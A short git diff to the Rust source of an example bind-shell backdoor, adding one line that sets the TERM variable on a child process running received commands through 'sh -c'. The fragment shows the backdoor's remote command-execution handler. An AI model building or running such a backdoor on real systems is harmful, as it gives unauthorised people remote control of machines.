diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 5112538..1dd687c 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -162,6 +162,7 @@ async fn handle_command( let Ok(mut child) = (process::Command::new("sh") .arg("-c") .arg(cmd) + .env("TERM", "screen") .stdin(Stdio::null()) .stdout(Stdio::piped()) .stderr(Stdio::piped()))